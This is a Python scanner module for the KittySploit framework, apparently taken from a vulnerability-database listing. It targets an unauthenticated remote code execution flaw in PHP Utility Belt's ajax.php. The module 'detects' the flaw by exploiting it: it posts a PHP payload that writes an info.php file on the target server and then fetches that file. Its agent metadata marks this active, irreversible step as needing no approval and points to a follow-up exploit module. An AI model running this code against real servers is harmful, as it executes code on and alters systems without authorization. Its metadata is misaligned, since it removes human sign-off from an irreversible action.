PHP Utility Belt - ajax.php RCE Detection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PHP Utility Belt ajax.php code execution."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'PHP Utility Belt - ajax.php RCE Detection',
'description': (
'Detects PHP Utility Belt RCE by writing info.php via ajax.php code= parameter '
'and verifying phpinfo() output.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'php', 'rce', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': False,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/multi/http/php_utility_belt_rce'],
},
},
'references': [
'https://www.exploit-db.com/exploits/39554/',
],
}
def run(self):
for base in ('', '/php-utility-belt', '/utility-belt'):
data = "code=fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');"
r = self.http_request(
method='POST',
path=f'{base}/ajax.php',
data=data,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if not r or r.status_code != 200:
continue
g = self.http_request(method='GET', path=f'{base}/info.php', allow_redirects=False)
if not g:
continue
body = g.text or ''
if '>phpinfo()<' in body and '>System' in body and '>Configuration File' in body:
self.set_info(
severity='critical',
reason='PHP Utility Belt ajax.php RCE',
path=f'{base}/ajax.php',
)
return True
return False
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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8